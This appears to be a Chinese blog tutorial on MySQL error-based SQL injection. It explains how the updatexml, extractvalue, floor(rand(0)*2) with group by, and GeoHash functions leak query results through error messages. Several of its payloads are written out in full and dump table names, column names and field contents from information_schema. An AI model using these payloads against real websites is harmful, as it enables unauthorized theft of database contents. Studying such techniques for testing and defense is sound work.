前言

报错注入的使用场景一般是页面无法正常回显数据库查询的内容,但是会详细显示查询过程的错误信息。如果连错误信息都没有,那就是盲注了。报错注入的原理就是将子查询语句查询到的内容和错误信息一同带出来。

Xpath报错注入

XPath(XML Path Language)是一种用于在XML文档中选择节点的查询语言。MySQL从版本 5.1.6 开始支持XPath。MySQL中处理XML数据的两个函数extractvalue()updatexml()。当这两个函数执行时,如果提供的XPath表达式不正确,就会触发错误。

updatexml()函数

updatexml()函数用于修改XML文档中的节点。

它的语法如下:

updatexml(XML_document, XPath_string, new_value)

第一个参数XML_document是XML文档对象的名称。

第二个参数XPath_string是指定需要更新的XML节点的XPath表达式。

第三个参数new_value是新值,用于替换找到的符合条件的数据。

如果XPath_string格式错误,MySQL会抛出一个XPath语法错误。

updatexml报错注入:

select updatexml(1,concat(0x7e,version(),0x7e),1);

updatexml()函数的报错就是在第二参数上做文章,这里的concat(0x7e,version(),0x7e)试图通过concat()函数拼接一个字符串,version()函数返回当前数据库的名称。但是0x7e是一个十六进制值,代表的是ASCII字符~,通常不直接用于XPath表达式,这导致二个参数的XPath表达式格式不正确,引发函数报错。

所以这里只要在concat()函数中构造我们要查询的SQL注入Payload就可以利用:

爆数据库版本信息:

updatexml(1,concat(0x7e,(select @@version),0x7e),1)

爆当前数据库表信息:

updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

爆表字段信息:

updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='database_name' and table_name='table_name'),0x7e),1)

爆字段内容信息:

updatexml(1,concat(0x7e,(select group_concat(column) from database_name.table_name),0x7e),1)

extractvalue()函数

extractvalue()函数用于从XML文档中提取特定节点的值。

它的语法如下:

extractvalue(XML_document, XPath_string)

第一个参数XML_document是XML文档对象的名称。

第二个参数XPath_string是用于指定所需数据位置的XPath表达式。

当XPath_string格式错误时,MySQL同样会抛出XPath语法错误。

extractvalue()报错注入:

select extractvalue(1,concat(0x7e,(select @@version),0x7e));

updatexml()函数的报错也是在第二参数上做文章,和updatexml()函数报错有一曲同工之妙,都是二个参数的XPath表达式格式不正确,引发函数报错。

concat()函数中构造我们要查询的SQL注入Payload就可以利用:

爆数据库版本信息:

extractvalue(1,concat(0x7e,(select @@version),0x7e))

爆当前数据库表信息:

extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))

爆表字段信息:

extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='database_name' and table_name='table_name'),0x7e))

爆字段内容信息:

extractvalue(1,concat(0x7e,(select group_concat(column) from database_name.table_name),0x7e))

floor函数报错

floor()这个报错函数在MySQL的 5.0 版本及以上版本都可以使用。在MySQL中floor()函数是用于将数值向下舍入到最接近的整数。

首先看报错现象:

select count(*),(concat(floor(rand(0)*2),@@version)) x from users group by x;

这里最前面的1就是由floor(rand(0)*2)产生的,后面的5.7.26是通过报错带出来的查询信息。在MySQL数据库中,当出现Duplicate entry 'xxx' for key '字段名'的错误时,通常意味着插入或更新的数据违反了某个键的唯一性约束。

下面来详细看看这条查询语句,基本的查询select不必多说,剩下的几个关键字有count,floor,rand,group by。

这里需要了解这几个函数:

rand()随机函数可以产生一个在 0~1 之间的随机数。

直接使用rand函数每次产生的数都不同,但是当提供了一个固定的随机数的种子0之后,每次产生的值都就是固定的:

查询有多条数据的表看一下(users是一个有13条数据的表):

第一次产生的随机数和第二次完全一样,也就是可以预测的。利用的时候rand(0)*2为什么要乘以2呢?这就要配合 floor 函数来说了。

floor()函数的作用就是返回小于等于括号内该值的最大整数。

rand()是返回 0~1 之间的随机数,那么floor(rand())产生的数就只是0:

再来看查询users这张表,每行产生的这个固定的rand(0):

rand()产生的数乘2后就会返回 0~2 的随机数,所以再使用floor就可以产生确定的两个数 0 或 1:

固定的随机数种子0 -> 产生固定的rand(0) -> 返回固定的floor(rand(0))。所以每次查询表时产生的随机01数列都是固定且相同的。记住这个序列011011...,后面会用到

count()聚合函数统计结果的记录数。

group by按照查询结果进行分组(相同的分为一组)。

通过count()和group by对查询对象进行计数并按照查询结果进行分组:

这个SQL语句的意思就是想要对users表中的username字段进行分组,并计算每个用户名的数量。其中x是给username字段取一个别名,group by根据别名x来进行分组。


这几个函数的相关功能介绍完了,下面来分析一下为什么把这几个函数组合起来就可以达到报错注入的目的?

select count(*),floor(rand(0)*2) x from users group by x;

根据前面函数,这句SQL语句就是统计后面产生随机数的种类并计算每种数量。比如users表中只有6条数据,那么floor()产生序列011011,然后count()统计0是2个,1是4个。预期查询结果应该是如下这样:

+----------+---+
| count(*) | x |
+----------+---+
| 2 | 0 |
| 4 | 1 |
+----------+---+

但是最后的结果却产生了报错~。

count与group by的虚拟表

首先MySQL遇到这条语句时会建立一个虚拟表(count与group by的虚拟表)。该虚拟表有两个字段,一个是分组的key ,一个是计数值count()。

执行这语句的时候到底做了哪些操作呢?

首先建立虚拟表(其中key是主键,不可重复)

+-----+----------+
| key | count(*) |
+-----+----------+
| | |
+-----+----------+
| | |
+-----+----------+

接着开始查询数据,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。

比如,user表中username字段(key)有3个用户名admin1,admin2,admin3,并且分别出现了2,1,3次,那么会是这样操作:

+--------+----------+
| key | count(*) |
+--------+----------+
| admin1 | 1+1 |
+--------+----------+
| admin2 | 1 |
+--------+----------+
| admin3 | 1+1+1 |
+--------+----------+

如果key存在的话就+1, 不存在的话就新建一个key。

引用:

然后mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个"被计算多次"到底是什么意思,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)*2)报错的过程就知道了,从上面的函数使用中可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011 (这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的。

还原一下具体的查询过程:

  1. 查询前默认会建立空虚拟表如下图:

  1. 取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算):

  1. 查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕:

  1. 查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算):

  1. 查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕:

  1. 查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算):

  1. 查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,1作为虚表的主键,其值为1(第5次计算),插入:

然而1这个主键已经存在于虚拟表中,而新计算的值也为1,但是虚拟表要求主键键值必须唯一,所以插入的时候就直接报错了。

整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次。所以数据表中至少需要3条数据,使用该语句才会报错的原因。

总结

综上所述,我的理解就是因为floor(rand(0)*2)被多次计算,在插入主键时违反了唯一性约束,导致了报错。

如果前面几条记录查询后就让虚表存在0/1键值,那么后续也就不会产生重复插入0,1键值的操作,也就不会违反唯一性约束。那样无论多少条记录,也都没办法报错。

那么随机数种子就很重要,如果没加入随机数种子或者加入其他的数,那么floor(rand()*2)产生的序列是不可测的,也就可能会出现正常插入的情况。

比如下面用1作为随机数种子,就不会产生报错:

就是因为floor(rand(1)*2)产生的序列0100...,前两次计算和上面一样,插入1键值。第三次计算是0,发现还没0键值,第四次计算还是0,哪就将0键值插入。在此之后0/1键值就都存在了,后面的过程中再怎么计算和查询都不会报错。

PostGIS函数报错

PostGIS是一个开源的空间数据库扩展,它为PostgreSQL数据库添加了对地理信息系统 (GIS) 数据的支持

在MySQL数据库中同样适用,版本mysql >= 5.7.x

ST_LatFromGeoHash函数

这个函数的作用是将地理哈希(GeoHash)字符串转换为纬度值,ST_LatFromGeoHash(geohash)

and ST_LatFromGeoHash(concat(0x7e,(),0x7e))--+

ST_LongFromGeoHash函数

它与 ST_LatFromGeoHash 函数类似,ST_LongFromGeoHash(geohash)

and ST_LongFromGeoHash(concat(0x7e,(),0x7e))--+

ST_Pointfromgeohash函数

它用于将地理哈希(GeoHash)字符串转换为一个地理空间点(POINT)ST_ointFromGeoHash(geohash,[precision]),precision(可选参数)是一个整数。

SELECT ST_PointFromGeoHash(concat(0x7e,(),0x7e),1);

参考文章:

https://blog.csdn.net/qq_36618918/article/details/106168984

https://wooyun.js.org/drops/Mysql报错注入原理分析(count()、rand()、group by).html


若有错误,欢迎指正!o( ̄▽ ̄)ブ

MySQL报错注入之Xpath报错&floor函数报错的更多相关文章

  1. MySQL报错注入总结

    mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法. 报错注入: ...

  2. ctfhub 报错注入

    payload   1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.colu ...

  3. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

  4. SQL注入——报错注入

    0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利 ...

  5. sql注入 报错注入常用的三种函数

    1.floor()函数 报错原因是 报错的原因是因为rand()函数在查询的时候会执行一次,插入的时候还会执行一次.这就是整个语句报错的关键 前面说过floor(rand(0)*2) 前六位是0110 ...

  6. ctfhub技能树—sql注入—报错注入

    打开靶机 payload 1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.c ...

  7. MySQL 常用报错注入原理分析

    简介 这段时间学习SQL盲注中的报错注入,发现语句就是那么两句,但是一直不知道报错原因,所以看着别人的帖子学习一番,小本本记下来 (1) count() , rand() , group by 1.报 ...

  8. MySQL暴错注入方法

    mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法 1.通过fl ...

  9. MySQL报错注入函数汇总及常用注入语句

    版权声明:本文转载自网络内容,下面附原创链接原创链接:https://blog.csdn.net/Auuuuuuuu/article/details/91415165 常用函数 字符串连接函数,将多个 ...

  10. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

随机推荐

  1. 【爬虫实战】——利用bs4和正则表达式,简单实现爬取数据

    前言 好久没有写博客了,由于一直比较忙,感觉快荒废了学习的步伐,最近由于需要利用爬虫爬取数据,总结一下,以便以后查阅. 目录 一.bs4的安装 二.bs4解析器 三.定位查找标签 四.转换格式 五.提 ...

  2. openFile(/tmp/spring.log,true) call failed. java.io.FileNotFoundException: /tmp/spring.log (Permission denied)

    ERROR [main] SpringApplication: Application run failed java.lang.IllegalStateException: Logback conf ...

  3. 【YashanDB知识库】使用select * 创建的物化视图无法进行查询重写

    问题现象 使用如下语句准备测试数据: alter system set query_rewrite_enabled=force scope=both; drop table test; create ...

  4. seata 下载及安装

    分布式事务 参考文章: 分布式事务实战方案汇总 https://www.cnblogs.com/yizhiamumu/p/16625677.html 分布式事务原理及解决方案案例https://www ...

  5. 搭建ipv6并发代理池

    声明 本文章中所有内容仅供学习交流,抓包内容.敏感网址.数据接口均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关,若有侵权,请联系我立即删除! 学习目标 ounter(l ...

  6. [34](CSP 集训)CSP-S 联训模拟 1

    A 几何 重复若干次 -> 不能重叠,因此考虑直接暴力 DP 设 \(f_{i,j,k}\) 表示主串匹配到第 \(i\) 位(将前 \(i\) 位分别归为两类),其中 \(x\) 在重复了若干 ...

  7. 采集数据产品描述有超链接///设置免运费后,达到免送标准,其他运费不显示///给产品详情页面的图片点击放大是个模态窗///在shop页面有重复的产品展示,去重

    //产品描述有超链接,去掉 function remove_product_hyperlinks($content) { if (is_product()) { // 确保只在产品页面上应用 $con ...

  8. LeetCode 650. 2 Keys Keyboard(只有两个键的键盘)(DP/质因数分解)

    最初在一个记事本上只有一个字符 'A'.你每次可以对这个记事本进行两种操作: Copy All (复制全部) : 你可以复制这个记事本中的所有字符(部分的复制是不允许的). Paste (粘贴) : ...

  9. 墨天轮沙龙 | Proxima 刘方:阿里巴巴大规模向量检索实时服务化引擎 Proxima SE

    导读 随着 AI 技术的广泛应用,以及数据规模的不断增长,向量检索也逐渐成了 AI 技术链路中不可或缺的一环. 在11月16日举办的[墨天轮数据库沙龙-向量数据库专场]邀请到阿里巴巴高级技术专家刘方, ...

  10. 56.dom如何映射数据

    所谓的映射机制就是 页面的标签和js中获取的页面标签对象,无论修改哪一个,另一个都会随之更新 : 映射原理:浏览器在渲染页面的时候给每一个元素都设置了很多内置的属性(包含样式的),     当我们在J ...